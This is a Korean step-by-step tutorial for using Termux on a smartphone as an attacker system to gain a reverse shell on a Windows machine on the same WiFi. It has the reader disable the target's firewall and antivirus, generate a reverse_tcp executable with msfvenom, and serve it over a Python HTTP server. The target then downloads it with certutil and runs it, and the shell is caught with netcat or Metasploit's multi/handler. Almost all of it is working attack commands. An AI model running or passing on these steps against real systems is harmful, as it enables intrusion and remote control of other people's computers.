핵심 개념: Kali Linux에서의 작업 방식과 동일하며, 스마트폰(Termux)을 공격자 시스템으로 사용하여 Windows 대상 시스템이 능동적으로 연결하도록 유도합니다. 루트 권한 없이도 수행 가능합니다.
사전 준비
- 스마트폰과 Windows 대상 시스템이 동일한 WiFi 네트워크에 연결되어 있어야 합니다 (동일한 서브넷 필요).
- Termux의 로컬 네트워크 IP 주소를 확인하고 기록해둡니다 (이후 명령어에서
스마트폰IP를 대체).
# wlan0 인터페이스의 inet 주소를 찾습니다 (예: 192.168.1.6)
ifconfig wlan0
- 대상 Windows 시스템의 방화벽과 실시간 보호 기능을 일시적으로 비활성화합니다 (기존 Kali 사용법과 동일).
1단계: Termux 환경 설정 및 도구 설치
# 1. 국내 미러 서버로 변경 (다운로드 속도 향상)
sed -i 's@^\(deb.*stable main\)$@#\1\ndeb https://mirrors.tuna.tsinghua.edu.cn/termux/apt/termux-main stable main@' $PREFIX/etc/apt/sources.list
apt update && apt upgrade -y
# 2. 핵심 도구 설치 (nc, python3, msfvenom)
apt install -y netcat-openbsd python3 metasploit # metasploit 패키지에 msfvenom 포함
2단계: 방법 1 - 간단한 NC 리버스 연결 (우선 테스트 권장)
절차 1: Termux에서 NC 리스너 시작 (대상 연결 대기)
# 1337 포트에서 리스닝 (Kali에서 사용한 포트와 동일)
nc -lvp 1337
절차 2: Termux에서 NC 리버스 셸 페이로드 생성
새로운 Termux 터미널을 열고, 리스너가 실행 중인 터미널은 유지합니다.
# Windows용 리버스 TCP 셸 페이로드 생성, IP는 스마트폰의 로컬 IP
msfvenom -p windows/x64/shell/reverse_tcp LHOST=스마트폰IP LPORT=1337 -f exe -o /data/data/com.termux/files/home/shell_termux.exe
절차 3: Termux에서 HTTP 서버 시작 (파일 전송용)
# 스마트폰 저장소 접근 권한 설정 (최초 실행 시 권한 요청, 허용 필요)
termux-setup-storage
# 페이로드를 다운로드 디렉토리로 복사
cp /data/data/com.termux/files/home/shell_termux.exe /sdcard/Download/
# 다운로드 디렉토리로 이동하여 HTTP 서버 시작 (포트 9000)
cd /sdcard/Download
python3 -m http.server 9000
절차 4: Windows 대상 시스템에서 페이로드 다운로드 및 실행
대상 Windows 시스템의 관리자 CMD 창에서 다음 명령어를 실행합니다.
cd /d C:\Windows\Temp
# 페이로드 다운로드, 주소는 스마트폰IP:9000 형식
certutil -urlcache -split -f http://스마트폰IP:9000/shell_termux.exe shell_termux.exe
# 페이로드 실행
shell_termux.exe
성공 확인
Termux의 NC 리스너 터미널에 대상 시스템의 CMD 프롬프트가 표시됩니다. Kali 사용 시와 동일한 결과입니다.
3단계: 방법 2 - Termux에서 MSF를 사용한 세션 획득
절차 1: Termux에서 MSF 리스너 시작
# 새로운 Termux 터미널 열기
msfconsole -q
# 리스너 설정 (페이로드와 일치해야 함)
use exploit/multi/handler
set PAYLOAD windows/x64/shell/reverse_tcp
set LHOST 스마트폰IP
set LPORT 1337
set ExitOnSession false
run -j
절차 2: 대상 시스템에서 페이로드 재실행
대상 Windows CMD 창에서 다음 명령어를 다시 실행합니다.
C:\Windows\Temp\shell_termux.exe
성공 확인
Termux의 MSF 터미널에 세션 로그가 표시됩니다. sessions -l 명령어로 세션 목록을 확인하고, sessions -i 1 명령어로 대상 시스템의 CMD에 접근할 수 있습니다.
주의사항 (Termux 특화)
- 포트 제한: 루트 권한이 없으면 1024 미만의 포트를 바인딩할 수 없으므로, 1337, 9000 등의 높은 번호의 포트를 사용합니다.
- 경로 문제: Termux의 기본 디렉토리는
/data/data/com.termux/files/home/입니다. HTTP 서버를 통해 접근하려면 파일을/sdcard/디렉토리로 복사해야 합니다. - 네트워크 문제: 스마트폰과 대상 시스템이 동일한 WiFi에 연결되어 있어야 합니다. 스마트폰이 핫스팟 모드인 경우 네트워크 세그먼트가 변경되어 통신이 불가능할 수 있습니다.
- 도구 설치 실패 시:
metasploit설치가 실패하면pkg install -y wget curl을 먼저 실행한 후 다시 시도합니다.